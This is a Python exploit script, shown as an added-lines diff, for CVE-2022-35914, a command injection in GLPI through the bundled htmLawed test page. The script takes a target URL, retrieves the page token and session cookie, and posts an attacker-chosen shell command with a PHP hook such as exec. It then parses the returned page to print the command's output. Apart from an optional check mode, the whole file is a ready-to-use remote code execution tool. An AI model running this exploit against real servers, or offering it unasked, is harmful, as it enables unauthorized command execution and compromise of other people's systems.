| 1 | + | #!/usr/bin/python |
| 2 | + | # -*- coding: utf-8 -*- |
| 3 | + | |
| 4 | + | import argparse |
| 5 | + | from tokenize import group |
| 6 | + | from bs4 import BeautifulSoup |
| 7 | + | import requests |
| 8 | + | import sys |
| 9 | + | import re |
| 10 | + | |
| 11 | + | requests.packages.urllib3.disable_warnings() |
| 12 | + | |
| 13 | + | RED = '\x1b[91m' |
| 14 | + | BLUE = '\033[94m' |
| 15 | + | GREEN = '\033[32m' |
| 16 | + | ENDC = '\033[0m' |
| 17 | + | |
| 18 | + | banner=""" |
| 19 | + | ______ _______ ____ ___ ____ ____ _________ ___ _ _ _ |
| 20 | + | / ___\ \ / / ____| |___ \ / _ \___ \|___ \ |___ / ___|/ _ \/ | || | |
| 21 | + | | | \ \ / /| _| _____ __) | | | |__) | __) |____ |_ \___ \ (_) | | || |_ |
| 22 | + | | |___ \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) |__) \__, | |__ _| |
| 23 | + | \____| \_/ |_____| |_____|\___/_____|_____| |____/____/ /_/|_| |_| |
| 24 | + | """ |
| 25 | + | |
| 26 | + | def main(): |
| 27 | + | parser = argparse.ArgumentParser(description='CVE-2022-35914 - GLPI - Command injection using a third-party library script') |
| 28 | + | parser.add_argument('-u', type=str, required=True, dest='url', help = "URL to test") |
| 29 | + | parser.add_argument('-c', type=str, required=False, dest='cmd', default = "id", help = "Command to launch (default: id)") |
| 30 | + | parser.add_argument('-f', type=str, required=False, dest='hook', default = "exec", help = "PHP hook function (default: exec)") |
| 31 | + | parser.add_argument('--check', action="store_true", dest='check', help = "Just check, no command execution.") |
| 32 | + | parser.add_argument('--user-agent', type=str, required=False, default="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36", dest='user_agent', help = "Custom User-Agent") |
| 33 | + | args = parser.parse_args() |
| 34 | + | exploit(args.url, args.cmd, args.user_agent,args.check,args.hook) |
| 35 | + | |
| 36 | + | def exploit(url,cmd,user_agent,check,hook): |
| 37 | + | uri = "/vendor/htmlawed/htmlawed/htmLawedTest.php" |
| 38 | + | headers = {'User-Agent': user_agent} |
| 39 | + | |
| 40 | + | session = requests.Session() |
| 41 | + | response_part1 = session.get(str(url)+uri, verify=False, headers=headers) |
| 42 | + | if (response_part1.status_code != 200): |
| 43 | + | fail() |
| 44 | + | |
| 45 | + | soup = BeautifulSoup(response_part1.text, 'html.parser') |
| 46 | + | if (soup.title.text.find("htmLawed") == -1): |
| 47 | + | fail() |
| 48 | + | |
| 49 | + | if (check): |
| 50 | + | print(GREEN + "[+] Server potentially vulnerable to CVE-2022-35914" + ENDC) |
| 51 | + | sys.exit() |
| 52 | + | |
| 53 | + | # Prepare POST request |
| 54 | + | token_value = soup.find_all(id='token')[0]['value'] |
| 55 | + | sid_value = session.cookies.get("sid") |
| 56 | + | body = {"token":token_value,"text":cmd,"hhook":hook,"sid":sid_value} |
| 57 | + | response_part2 = session.post(str(url)+uri, verify=False, headers=headers, data=body) |
| 58 | + | parse(response_part2.text) |
| 59 | + | |
| 60 | + | def parse(response): |
| 61 | + | soup = BeautifulSoup(response, 'html.parser') |
| 62 | + | raw = soup.find_all(id='settingF')[0] |
| 63 | + | |
| 64 | + | return_code_search_regex = "\$spec\: (.*)" |
| 65 | + | found_return_code = re.search(return_code_search_regex, raw.text, re.DOTALL).group(1) |
| 66 | + | |
| 67 | + | output_search_regex = "\[xml:lang\] \=\> 0\n(.*)\n\)" |
| 68 | + | found_output = re.search(output_search_regex, raw.text, re.DOTALL) |
| 69 | + | print(GREEN + "[+] Command output (Return code: " + found_return_code + "):" + ENDC) |
| 70 | + | if (found_output != None): |
| 71 | + | raw_output = found_output.group(1) |
| 72 | + | cleaning_regex = ".*\=\>" |
| 73 | + | cleaned_output = re.sub (cleaning_regex, "", raw_output) |
| 74 | + | print(cleaned_output) |
| 75 | + | |
| 76 | + | def fail(): |
| 77 | + | print(RED + "[-] Server not vulnerable to CVE-2022-35914" + ENDC) |
| 78 | + | sys.exit() |
| 79 | + | |
| 80 | + | if __name__ == '__main__': |
| 81 | + | main() |
| 82 | + | |